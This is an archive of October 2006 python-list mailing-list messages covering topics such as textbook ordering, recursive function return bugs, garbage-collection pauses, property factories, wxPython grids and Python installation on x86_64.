Message-ID: <1162160047.896307.180000@i42g2000cwa.googlegroups.com>

I meant "omitted" not as complete omission but as not being there
sooner...

John Coleman wrote:
> A is not ommitted from DBECAFG - it just appears in a non-standard
> order. If the book simply ommitted functions then it would be a
> shocking ommission. As it is, it is just a curious way of sequencing
> topics. Functions are in chapter 11 out of 23 chapters - sounds like
> the "core" of the book to me.
>
> Chun does emphasize the first-class status of functions in Python -
> something which is fairly important to me since I have dabbled on and
> off with functional programming the last few years (mostly SML) and am
> interested in seeing the extend to which Python is genuinely
> "multi-paradigm" - able to blend the functional and imperative (and OO)
> paradigms together.
>
> -John Coleman
>
> Nick Vatamaniuc wrote:
> > I would consider that an omission. Functions are very important in
> > Python. I think the user/reader should see the _def_ and _class_
> > statement fairly soon in the introduction.  The name of the book is
> > thus somewhat misleading, because functions are at the "core" of
> > Python.
> >
> > Functions should be right there with the integers, strings, files,
> > lists and dictionaries. Another important point to stress, in my
> > opinion,  is that functions are first-class objects. In other words
> > functions can be passes around just like strings and numbers!
> >
> > -Nick Vatamaniuc
> >
> >
> > John Coleman wrote:
> > > Greetings,
> > >    My copy of the second edition of Chun's "Core Python Programming"
> > > just arrived from Amazon on Friday. What really jumped out at me is an
> > > interesting feature about how it sequences its topics, namely,
> > > (user-defined) functions are not introduced until chapter 11, fully 400
> > > pages into the book. This contrasts strongly with a traditional
> > > "Introduction to language X" book which has a chapter sequence roughy
> > > like:
> > >
> > > Chapter 1) Intro - Hello World
> > > Chapter 2) Variables
> > > Chapter 3) If, if-else
> > > Chapter 4) Loops
> > > Chapter 5) Functions and/or subroutines
> > >
> > > The exact details vary from book to book and language to language of
> > > course, but usually the above topics are covered in the first 100-150
> > > pages since it is hard to do anything interesting until all of these
> > > tools are under your belt. Chun's book by contrast is able, on the
> > > strength of Python's built-in functions, to cover a fair amount of
> > > relatively interesting things (dictionaries, file IO, exception
> > > handling, etc.) before introducing user-defined functions.
> > >
> > > I don't want to read too much into this, but the mere fact that it is
> > > possible to write a Python book in this fashion seems to confirm the
> > > "batteries are included" philosophy of Python. Perhaps there is less
> > > need to learn how to roll your own batteries as soon as possible.
> > > 
> > > -John Coleman



From python.list at tim.thechases.com  Tue Oct 24 11:29:08 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 24 Oct 2006 10:29:08 -0500
Subject: The format of filename
In-Reply-To: <ehl9i4$juu$1@sea.gmane.org>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<ehl9i4$juu$1@sea.gmane.org>
Message-ID: <453E3144.50307@tim.thechases.com>

>> As an example, I'm aware (through osmosis?) that I can use '/' as
>> a directory separator in filenames on both Unix and Dos. But
>> where is this documented?
> 
> in the documentation for your operating system.  Python doesn't do 
> anything with the filenames.

Windows seems to be (occasionally) doing the translation as /F 
mentions:

C:\temp> python
Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit 
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more 
information.
 >>> for line in file('subdir/test.txt'):
...	print line.strip()
...
1
2
3
 >>> ^Z

C:\temp> REM try the same filename convention from dos prompt
C:\temp> type subdir/test.txt
The syntax of the command is incorrect.
C:\temp> REM try with quotes, just in case...
C:\temp> type "subdir/test.txt"
The syntax of the command is incorrect.
C:\temp> notepad subdir/test.txt
C:\temp> REM correctly opened the text file in notepad

Windows seems to doing the translation inconsistently (I know 
that comes as a shock...)

-tkc







From Matthew.Warren at Digica.com  Tue Oct 17 11:31:23 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Tue, 17 Oct 2006 16:31:23 +0100
Subject: Return returns nothing in recursive function
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03CDAB60@UKEX01.Digica.local>

Hallo people,

I have the following code that implements a simple recursive tree like
structure.

The trouble is with the GetTreeBranch function, the print statement
prints a valid value but the return immediatley afterward doesn't return
anything.

Can anyone help me with why?


Thanks,

Matt.

Code and output follow;

'''
dirtree

A simple implementation of a filesystem-like tree
datastructure.
'''

def MakeNewTree(rootname='root'):
    '''MakeNewTree

    Creates an empty tree with a 'root' node.
    If the parameter rootname is not given, it
    defaults to 'root'.
    '''
    return [{rootname:[]}]

def DoThingsToTree(path,value,tree,delete=False):
    '''_DoThingsToTree

    You should not use this function.
    '''
    if type(path)==type(''):
        path=path.lstrip('/').rstrip('/').split('/')
    for item in tree:
        if type(item)==type({}) and item.has_key(path[0]):
            if len(path)==1:
                if not delete:
                    try:
                        item[path[0]].append(value)
                    except KeyError:
                        item[path[0]]=value
                else:
                    if value is not None:
                        del(item[path[0]][value])
                    else:
                        del(tree[tree.index(item)])
                break
            else:
                _DoThingsToTree(path[1:],value,item[path[0]],delete)

def GetTreeBranch(path,tree):
    if type(path)==type(''):
        path=path.lstrip('/').rstrip('/').split('/')
    for item in tree:
        if type(item)==type({}) and item.has_key(path[0]):
            if len(path)==1:
                print 'returning',tree[tree.index(item)]
                return tree[tree.index(item)]
            else:
                GetTreeBranch(path[1:],item[path[0]])        

def AddItemToTree(path,value,tree):
    '''AddITemToTree

    Add an item onto a 'branch' of the tree.
    path    should be a '/' separated string that
            defines a path to the branch required.
    value   an object to put onto the branch
    tree    the tree to operate on.
    '''
    DoThingsToTree(path,value,tree)
    
def AddBranchToTree(path,branch,tree):
    '''AddBranchToTree

    Add a new branch to the tree.
    path    should be a '/' separated string that
            defines a path to the branch required.
    branch  an object used as the branch identifier
            (usually a string)
    tree    the tree to operate on
    '''
    DoThingsToTree(path,{branch:[]},tree)
                    
def DelItemFromTree(path,index,tree):
    '''DelItemFromTree

    Remove an item from the tree.
    path    should be a '/' separated string that
            defines a path to the branch required.
    index   the numeric index of the item to delete
            on the branch to delete. items are indexed
            in the order they are added, from 0
    '''
    DoThingsToTree(path,index,tree,delete=True)
    

def DelBranchFromTree(path,tree):
    '''DelBranchFromTree

    Remove a branch and all items and subbranches.
    path    should be a '/' separated string that
            defines a path to the branch required.
    tree    The tree to delete the branch from.
    '''
    DoThingsToTree(path,None,tree,delete=True)


OUTPUT;

>>> from dirtree import *
>>> MyTree=MakeNewTree('Matt')
>>> AddBranchToTree('Matt','Good',MyTree)
>>> AddBranchToTree('Matt','Bad',MyTree)
>>> AddItemToTree('Matt/Good','Computers',MyTree)
>>> AddItemToTree('Matt/Bad','Drinking',MyTree)
>>> a=GetTreeBranch('Matt/Bad',MyTree)
returning {'Bad': ['Drinking']}
>>> a
>>>


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From skip at pobox.com  Wed Oct  4 11:51:43 2006
From: skip at pobox.com (skip at pobox.com)
Date: Wed, 4 Oct 2006 10:51:43 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg0bo2$obu$1@nnrp.ngi.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it>
Message-ID: <17699.55439.294528.110025@montanaro.dyndns.org>


    Giovanni> In fact, are you absolutely positive that you need so much
    Giovanni> effort to maintain an existing bugtracker installation?

The development group's experience with SF and I think to a lesser extent,
Roundup in its early days, and more generally with other components of the
development toolchain (source code control) and python.org website
maintenance suggests that some human needs to be responsible for each key
piece of technology.  Maybe when it's mature it needs very little manpower
to maintain, but a substantial investment is required when the technology is
first installed.

Skip


From cems at earthlink.net  Sun Oct  1 10:43:58 2006
From: cems at earthlink.net (charlie strauss)
Date: Sun, 1 Oct 2006 10:43:58 -0400 (EDT)
Subject: Is this a bug? Python intermittently stops dead for seconds
Message-ID: <6821929.1159713838931.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>

By the way if you are on a fast computer,  and an OS  whose time.time() function can resolve less than 0.5 seconds then you can see this problem on your machine at lower memory utilizations by changing the value of the default "allowed_gap" in the gtime class from 0.5 seconds down to say 0.1 second.  
This is the threshold for which the computer program flags the time it takes to create a "foo" object.  on a fast computer it should take much less than 0.1 sec.



-----Original Message-----
>From: charlie strauss <cems at earthlink.net>
>Sent: Oct 1, 2006 10:33 AM
>To: Steve Holden <steve at holdenweb.com>, python-list at python.org
>Subject: Re: Is this a bug? Python intermittently stops dead for seconds
>
>Steve and other good folks who replied:
>
>I want to clarify that, on my computer, the first instance of the gap occurs way before the memory if filled. (at about 20% of physical ram).  Additionally the process monitor shows no page faults.
>
>  Yes if you let the as-written demo program  run to completetion (all 20,000 iterations) then on many computers it would not be surprising that your computer eventually goes into forced page swapping at some point.  That would be expected and is not the issue than the one I am concerned with.
>
>in my case starts glicthing at around iteration 1000.
>
>1000(bars) x 100(foos)x(10 integers in array)
>
>is nominally 
>100,000 class objects and
>1,000,000 array elements.
>
>(note that the array if filled as [1]*10, so there is actually only one "integer", but 10 array elements refering to it, per foo class.)
>
>
>However steve may have put his finger on the reason why the duration grows with time.  Here is my current hypothesis.  The design of the program does not have and points where significant amounts of memory are released: all objects have held references till the end.  But prehaps there are some implicitly created objects of the same size created along the way???  For example when I write
>
>me.memory = [1]*nfoo
>
>perhaps internally, python is allocating an array of size foo and then __copying__ it into me.memory???  Since there is no reference to the intermediate it would then marked for future garbage collection.   
>
>If that were true then the memory would have interleaved entities of things to GC and things with references held in me.memory.
>
>Then to remove these would require GC to scan the entire set of existing objects, which is growing.
>
>Turning off GC would prevent this.
>
>
>In any case I don't think what I'm doing is very unusual.  The original program that trigger my investigation of the bug was doing this:
>
>foo was an election ballot holding 10 outcomes, and bar was a set of 100 ballots from 100 voting machines, and the total array was holding the ballot sets from a few thousand voting machines.  
>
>Almost any inventory program is likely to have such a simmilar set of nested array, so it hardly seems unusual.
>
>
>
>
>
>-- 
>http://mail.python.org/mailman/listinfo/python-list



From duncan.booth at invalid.invalid  Sun Oct 22 16:05:49 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 22 Oct 2006 20:05:49 GMT
Subject: Python and CMS
References: <mailman.933.1161518325.11739.python-list@python.org>
Message-ID: <Xns986493F8681ADduncanbooth@127.0.0.1>

Echo <oshecho at gmail.com> wrote:

> Sadly, I only found Plone, skeletonz, and PyLucid (If there is any
> more, please let me know). Of those three, only PyLucid supports WSGI
> and it didn't look very nice to me.
> Both Plone and skeletonz looked very nice. However, they can't be
> hosted on a regular web host(at least to my knowledge) since they run
> as the web server themselves. So hosting would cost more, at least 2-3
> times more from what I've seen.
> 
Just because something like Plone can run as a web server doesn't mean that 
you expose that web server to the outside world, nor do you have to run it 
as a webserver at all. Normally you run Plone behind another web server 
such as Apache.

You can get Plone on shared hosting from various places. I use webfaction 
(www.webfaction.com).


From fredrik at pythonware.com  Sat Oct 28 11:31:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 17:31:40 +0200
Subject: Need help (Basic python)...what did I do wrong?
In-Reply-To: <pan.2006.10.28.09.45.07.327891@REMOVE.THIS.cybersource.com.au>
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>	<mailman.1394.1162025806.11739.python-list@python.org>
	<pan.2006.10.28.09.45.07.327891@REMOVE.THIS.cybersource.com.au>
Message-ID: <ehvt4s$e61$2@sea.gmane.org>

Steven D'Aprano wrote:

> I don't think the restrictions against collusion are meant to prohibit
> simple "what does this error message mean?" type questions. It would be
> a funny sort of learning process that forced students to live in a
> vacuum, never discussing their topic with anyone else, never asking the
> most trivial questions.

the python-tutor policy is quite reasonable:

     http://effbot.org/pyfaq/tutor-what-is-the-policy-on-homework.htm

</F>



From rasmussen.bryan at gmail.com  Tue Oct 10 06:41:27 2006
From: rasmussen.bryan at gmail.com (bryan rasmussen)
Date: Tue, 10 Oct 2006 12:41:27 +0200
Subject: OT: Sarcasm and irony
In-Reply-To: <452b73ce$0$14045$edfadb0f@dread15.news.tele.dk>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<mailman.189.1160470256.11739.python-list@python.org>
	<452b73ce$0$14045$edfadb0f@dread15.news.tele.dk>
Message-ID: <3bb44c6e0610100341n2c642556ra0692dd42a41dd5@mail.gmail.com>

On 10/10/06, Max M <maxm at mxm.dk> wrote:
> bryan rasmussen skrev:
> > On 10/10/06, Steve Holden <steve at holdenweb.com> wrote:
>
> >> ... in America. It's well-known among Brits that Americans don't
> >> understand irony. They can be pretty oblique when it come to sarcasms
> >> too, for that matter.
> >
> > is that '....in America' meant to be an addendum to what I said, as in
> > this is the situation in America and not elsewhere? If so I should
> > probably point out that I am writing from Denmark and was thinking
> > specifically of a situation where a dane told me they were being
> > 'ironic' (when what they meant, obviously, was that they were being
> > ironical), when I asked what they meant by that they said "saying the
> > opposite of what I mean" I responded: "so, in other words, what you
> > mean by irony is 'sarcasm'" She responded "yes, that's what it means"
>
>
> Are you an american?
>
> Irony does mean that one says the opposite of what one really means.
>
> If you do it for humor its irony, if you do it for mocking it is sarcasm.
>
> So now I see... americans really *do* understand irony.

To reiterate:

Well irony originally started out as a very specific concept of the
 Ancient Greek drama, this is what we nowadays refer to as Dramatic
 Irony but it is the original irony. Irony then became a literary
 concept for plot elements similar to Dramatic irony in books, or a
 weaker type of the Dramatic irony found in the plays of Shakespeare.
 People then noticed that life was at times ironic in the literary
 manner. Nowadays the use of the word irony has degenerated to by
 pretty much synonymous with sarcasm.

Cheers,
Bryan Rasmussen


From tim.peters at gmail.com  Wed Oct 11 12:24:33 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Wed, 11 Oct 2006 12:24:33 -0400
Subject: hundreds of seconds?
In-Reply-To: <1160581108.301858.37760@m7g2000cwm.googlegroups.com>
References: <NYOBGCEXSMTP21txc1o000d767a@nyobgcexsmtp21.uswin.ad.vzwcorp.com>
	<mailman.319.1160579494.11739.python-list@python.org>
	<1160581108.301858.37760@m7g2000cwm.googlegroups.com>
Message-ID: <1f7befae0610110924u3c8ea6e8uacba1bac5160ae61@mail.gmail.com>

[eur.van.andel at gmail.com]
> ...
> G5-fiwihex:~ eur$ python
> Python 2.3.5 (#1, Mar 20 2005, 20:38:20)
> [GCC 3.3 20030304 (Apple Computer, Inc. build 1809)] on darwin
> Type "help", "copyright", "credits" or "license" for more information.
> >>> import time
> >>> time.time()
> 1160580871.258379
> >>>
>
> My G5 has lots of digits behind the decimal point, my measuring PC runs
> W98. We'll see how it does there. But I trust it to be enough digits.

On Windows 98, time.time() typically updates only once per 0.055
seconds (18.2 Hz), but time.clock() typically updates more than a
million times per second.  You do /not/ want to use time.time() for
sub-second time measurement on Windows.  Use time.clock() for this
purpose on Windows.


From grante at visi.com  Mon Oct 16 10:43:42 2006
From: grante at visi.com (Grant Edwards)
Date: Mon, 16 Oct 2006 14:43:42 -0000
Subject: How to send E-mail without an external SMTP server ?
References: <mailman.553.1160976477.11739.python-list@python.org>
	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>
	<mailman.556.1160984073.11739.python-list@python.org>
	<1160984719.088664.76350@e3g2000cwe.googlegroups.com>
	<mailman.559.1160989638.11739.python-list@python.org>
Message-ID: <12j76kur9o0sgc1@corp.supernews.com>

On 2006-10-16, fdu.xiaojf at gmail.com <fdu.xiaojf at gmail.com> wrote:

> Yes, I want to find a way to send email without an external smtp server.

If you're not going to use an SMTP server, what sort of server
do you want to use?

-- 
Grant Edwards                   grante             Yow!  Let me do my TRIBUTE
                                  at               to FISHNET STOCKINGS...
                               visi.com            


From jstroud at mbi.ucla.edu  Thu Oct 19 16:38:59 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Thu, 19 Oct 2006 20:38:59 GMT
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <slrnejfm0l.tg.horpner@FIAD06.norwich.edu>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
	<mailman.781.1161285358.11739.python-list@python.org>
	<slrnejfm0l.tg.horpner@FIAD06.norwich.edu>
Message-ID: <DnRZg.12488$TV3.2930@newssvr21.news.prodigy.com>

Neil Cerutti wrote:
> On 2006-10-19, Fredrik Lundh <fredrik at pythonware.com> wrote:
> 
>>James Stroud wrote:
>>
>>
>>>without requiring an iterator
>>
>>can we perhaps invent some more arbitrary constraints while
>>we're at it?
> 
> 
> No letter G.  I don't like them.  They wet their nests.
> 

The requirement for an iterator is the constraint. Removin the 
requirement for the iterator removes the constraint. Or is the iterator 
the convenience?

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From Eric_Dexter at msn.com  Sun Oct 29 20:11:10 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 29 Oct 2006 17:11:10 -0800
Subject: simple oop question (hopefully)
Message-ID: <1162170670.347917.31960@i42g2000cwa.googlegroups.com>

I am just trying to acess a function in wordgrid (savefile) to a button
that is defined in TestFrame.  I can't seem to make it work I either
get an error that my variable isn't global or it makes other
complaints.  thanks in advance..  sorry for the simple question..




import wx
import wx.grid as gridlib
import sys



#---------------------------------------------------------------------------

class WordGrid(gridlib.Grid):

    def __init__(self, parent, log):
        gridlib.Grid.__init__(self, parent, -1)
        self.loadFile()

        self.CreateGrid(len(self.rows), self.widestRow)

        for r, row in enumerate(self.rows):
            for c, col in enumerate(row):
                self.SetCellValue(r, c, col)
            self.SetColSize(c, 10*self.widestCol)

        for c, label in enumerate(self.header):
            self.SetColLabelValue(c, label)

    def loadFile(self):
       #from_file
       infile = open(sys.argv[1], 'r') #The first argument passed in is
the file name
       foundHeader = False
       self.rows = []
       for line in infile:
           if sys.argv[2] in line: #look for the second argument and
make that the header
               #removefirst = line.split(' ')
               self.header = line.split()
               #foundHeader = 'true'
               continue     # we don't want to process this line any
further
           else:
               self.rows.append(line.split())

       self.widestRow = max([len(r) for r in self.rows])
       self.widestCol = max([len(c) for c in [r for r in self.rows]])
    def savefile(self):
        outfile = open(sys.argv[1], 'w') #open the file defined in the
output line for writing
        for row in self.rows:
            outfile.write(row)

        print('this is a test to see if I can Crash it')



class TestFrame(wx.Frame):
    def __init__(self, parent, log):

        wx.Frame.__init__(self, parent, -1, "Dex Tracker Sco Editor",
size=(640,480))
        p = wx.Panel(self, -1, style=0)
        grid = WordGrid(p, log)
        #grid = CustTableGrid(p, log)
        b = wx.Button(p, -1, "Save Grid")
        b.SetDefault()
        self.Bind(wx.EVT_BUTTON, self.OnButton, b)
        b.Bind(wx.EVT_SET_FOCUS, self.OnButtonFocus)
        bs = wx.BoxSizer(wx.VERTICAL)
        bs.Add(grid, 1, wx.GROW|wx.ALL, 5)
        bs.Add(b)
        p.SetSizer(bs)

    def OnButton(self, evt):
        print "button selected"
        grid = WordGrid(self, log).savefile()
        #self.WordGrid.savefile(self)

    def OnButtonFocus(self, evt):
        print "button focus"

#---------------------------------------------------------------------------
#def main():

def main(From_File, find_string):
    """This is the entire editor for .sco files..  It doesn't realy
care if it is music or not.  Any file that you lay out with even rows
and collums
    can be displayed  The first argument passed to main is the file to
be used and the second if the string to be used as the command to set
up the header of the grid.
    The sting you wish to use to identify the header should be placed
last so it doesn't show up in the grid.
    """

    import sys

    app = wx.PySimpleApp()
    frame = TestFrame(None, sys.stdout)
    frame.Show(True)
    app.MainLoop()
    pass

if __name__ == '__main__':
    import sys
    #try: 
    main(sys.argv[1], sys.argv[2])



From antoine at vo.lu  Tue Oct 24 06:15:40 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Tue, 24 Oct 2006 12:15:40 +0200
Subject: can't open word document after string replacements
In-Reply-To: <453dd1b8$0$15214$426a74cc@news.free.fr>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
	<453dd1b8$0$15214$426a74cc@news.free.fr>
Message-ID: <30f41$453de7c9$544abf75$16552@news.hispeed.ch>

Bruno Desthuilliers wrote:
> Antoine De Groote wrote:
>> Hi there,
>>
>> I have a word document containing pictures and text. This documents
>> holds several 'ABCDEF' strings which serve as a placeholder for names.
>> Now I want to replace these occurences with names in a list (members).
> 
> Do you know that MS Word already provides this kind of features ?


No, I don't. Sounds interesting... What is this feature called?

> 
>> I
>> open both input and output file in binary mode and do the
>> transformation. However, I can't open the resulting file, Word just
>> telling that there was an error. Does anybody what I am doing wrong?
> 
> Hand-editing a non-documented binary format may lead to undesirable
> results...
> 
>> Oh, and is this approach pythonic anyway? 
> 
> The pythonic approach is usually to start looking for existing
> solutions... In this case, using Word's builtin features and Python/COM
> integration would be a better choice IMHO.
> 
>> (I have a strong Java
>> background.)
> 
> Nobody's perfect !-)
> 
>> Regards,
>> antoine
>>
>>
>> import os
>>
>> members = somelist
>>
>> os.chdir(somefolder)
>>
>> doc = file('ttt.doc', 'rb')
>> docout = file('ttt1.doc', 'wb')
>>
>> counter = 0
>>
>> for line in doc:
> 
> Since you opened the file as binary, you should use file.read() instead.
> Ever wondered what your 'lines' look like ?-)
> 
>>     while line.find('ABCDEF') > -1:
> 
> .doc is a binary format. You may find such a byte sequence in it's
> content in places that are *not* text content.
> 
>>         try:
>>             line = line.replace('ABCDEF', members[counter], 1)
>>             docout.write(line)
> 
> You're writing back the whole chunk on each iteration. No surprise the
> resulting document is corrupted.
> 
>>             counter += 1
> 
> seq = list("abcd")
> for indice, item in enumerate(seq):
>   print "%02d : %s" % (indice, item)
> 
> 
>>         except:
>>             docout.write(line.replace('ABCDEF', '', 1))
>>     else:
>>         docout.write(line)
>>
>> doc.close()
>> docout.close()
>>
> 
> 
> 


From michele.simionato at gmail.com  Wed Oct 18 02:43:49 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 17 Oct 2006 23:43:49 -0700
Subject: creating many similar properties
In-Reply-To: <n2fZg.3322$Ka1.1194@news01.roc.ny>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
Message-ID: <1161153829.566566.73960@b28g2000cwb.googlegroups.com>

Lee Harr wrote:
> I understand how to create a property like this:
>
> class RC(object):
>     def _set_pwm(self, v):
>         self._pwm01 = v % 256
>     def _get_pwm(self):
>         return self._pwm01
>     pwm01 = property(_get_pwm, _set_pwm)
>
>
> But what if I have a whole bunch of these pwm properties?
>
> I made this:
>
> class RC(object):
>     def _makeprop(name):
>         prop = '_%s' % name
>         def _set(self, v):
>             v_new = v % 256
>             setattr(self, prop, v_new)
>         def _get(self):
>             return getattr(self, prop)
>         return property(_get, _set)
>
>     pwm01 = _makeprop('pwm01')
>     pwm02 = _makeprop('pwm02')
>
>
> Not too bad, except for having to repeat the name.
>
> I would like to just have a list of pwm names and
> have them all set up like that. It would be nice if
> each one was set to a default value of 127 also....
>
> Any thoughts?
>

Yes, what about this?

import sys

def defprop(name, default=127):
    loc = sys._getframe(1).f_locals
    prop = '_%s' % name
    def _set(self, v):
        v_new = v % 256
        setattr(self, prop, v_new)
    def _get(self):
        return getattr(self, prop, default)
    loc[name] = property(_get, _set)

class RC(object):
    defprop('pwm01')
    defprop('pwm02')

rc = RC()

print rc.pwm01 # 127
print rc.pwm02 # 127
rc.pwm02 = 1312
print rc.pwm02 # 32

This is a bit hackish, but I would prefer this over a metaclass
solution. since it does not add
any hidden magic to your class.

          Michele Simionato



From steve at holdenweb.com  Tue Oct  3 06:59:14 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 03 Oct 2006 11:59:14 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7xk63h232z.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com>
Message-ID: <eftfoe$l8n$1@sea.gmane.org>

Paul Rubin wrote:
> "Giovanni Bajo" <noway at sorry.com> writes:
> 
>>I just read this mail by Brett Cannon:
>>http://mail.python.org/pipermail/python-dev/2006-October/069139.html
>>where the "PSF infrastracture committee", after weeks of evaluation,
>>recommends using a non open source tracker (called JIRA - never
>>heard before of course) for Python itself.
>>
>>Does this smell "Bitkeeper fiasco" to anyone else than me?
> 
> 
> Sounds crazy, what's wrong with bugzilla?

Much the same as is wrong with the existing SourceForge system, I'd say.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From chtaylo3 at gmail.com  Thu Oct 19 09:12:03 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Thu, 19 Oct 2006 09:12:03 -0400
Subject: Install from source on a x86_64 machine
In-Reply-To: <1161252731.452070.308570@h48g2000cwc.googlegroups.com>
References: <mailman.700.1161187902.11739.python-list@python.org>
	<1161252731.452070.308570@h48g2000cwc.googlegroups.com>
Message-ID: <2590773a0610190612u3fab2365kdb7cfce5b16b137b@mail.gmail.com>

> The README should provide sufficient information, although if you want
> to install Python into /usr rather than /usr/local (as I believe is the
> default), you need to run configure as follows:
>
> ./configure --prefix=/usr
>

Yeah, I saw that in the readme.

>
> In fact, it's /usr/bin/python, /usr/bin/python2.3, /usr/lib64/python2.3
> and /usr/lib/python, since Red Hat hasn't decided to capitalise the
> name of the software. ;-)
>

ok you got me, type-o ....

> The configured Makefile together with the various other tools should
> work out where to put the libraries. I'm a newcomer to x86-64, although
> I've had some relatively recent experience with sparc64, and whilst I'm
> not really familiar with the way the various tools choose the install
> directory of libraries, I've noticed that sometimes 64-bit libraries
> end up in lib rather than lib64. Meanwhile, I notice that the Red Hat
> libraries do adhere correctly to the expectation that 32-bit libraries
> are found under /usr/lib/python2.3 and 64-bit libraries are found under
> /usr/lib64/python2.3.
>
> Perhaps you should configure and make Python, then run the install
> process in "pretend" mode:
>
> make -n altinstall
>
> You'll get a huge amount of output, but this should at least tell you
> what the installation process is thinking of doing, and it won't be
> overwriting anything important while it does so.
>


ok, so where does that leave me.  I'm not even sure which files
*should* be put in /lib64 vs lib.
>>> I guess what I'm expecting is a congifure option to specify where
architecture dependent files should be put.  <<<

Has anyone else mentioned this before?

Respectfully,
Christopher Taylor


From onurb at xiludom.gro  Mon Oct  9 07:04:51 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 09 Oct 2006 13:04:51 +0200
Subject: Bizzare lst length problem
In-Reply-To: <1160313562.355853.259070@i42g2000cwa.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>
	<1160313168.683964.242350@c28g2000cwb.googlegroups.com>
	<1160313562.355853.259070@i42g2000cwa.googlegroups.com>
Message-ID: <452a2cd3$0$13108$426a74cc@news.free.fr>

Ben wrote:
> Using Fredericks advice I managed to track down the problem - it was
> really very stupid. I had accidentally cast the list to a string

There's nothing like "type casting" in Python. You did not "cast the
list to a string", you created a string from a list.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From drdpmalhotra at gmail.com  Thu Oct  5 03:09:29 2006
From: drdpmalhotra at gmail.com (vmalhotra)
Date: 5 Oct 2006 00:09:29 -0700
Subject: Assertion in Python
Message-ID: <1160032169.115098.213000@i42g2000cwa.googlegroups.com>

Hi All,

I want to do verification in my scripts. So for that what i am doing
here are shown below:

1. Telnet to one router.
2. Configure router.
3. Configure routing.

Now after doing all these i have to check showinterfaces. So i execute
command show interface and saved the output in one file.

Now the problem which i am facing is how to do assertion from that
output. e.g output is something like this

eth0 is up
  OSPF not enabled on this interface
eth1 is up
  Internet Address 192.168.1.2/24, Area 0.0.0.0
  Router ID 192.168.1.2, Network Type BROADCAST, Cost: 10
  Transmit Delay is 1 sec, State DR, Priority 1
  Designated Router (ID) 192.168.1.2, Interface Address 192.168.1.2
  No backup designated router on this network
  Timer intervals configured, Hello 10, Dead 40, Wait 40, Retransmit 5
    Hello due in 00:00:00
  Neighbor Count is 0, Adjacent neighbor count is 0
eth2 is up
  OSPF not enabled on this interface
eth3 is down
  OSPF not enabled on this interface
lo is up
  OSPF not enabled on this interface
sit0 is down
  OSPF not enabled on this interface

In this i want to check Designated Router (ID) 192.168.1.2.

If this is the same Ip which i have gice in configuration then test
case will get pass otherwise Fail.

Can somebody send me the code how to do this.

Thanks in Advance
Vikram Malhotra



From sachinpunjabi at gmail.com  Mon Oct 30 04:38:16 2006
From: sachinpunjabi at gmail.com (Sachin Punjabi)
Date: 30 Oct 2006 01:38:16 -0800
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <1162200427.209299.4920@m73g2000cwd.googlegroups.com>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>
	<1162196598.260229.224100@e3g2000cwe.googlegroups.com>
	<mailman.1471.1162196999.11739.python-list@python.org>
	<1162197440.574405.195010@m7g2000cwm.googlegroups.com>
	<1162198497.288698.244940@k70g2000cwa.googlegroups.com>
	<1162199750.797149.317970@m7g2000cwm.googlegroups.com>
	<1162200427.209299.4920@m73g2000cwd.googlegroups.com>
Message-ID: <1162201096.705529.50330@k70g2000cwa.googlegroups.com>



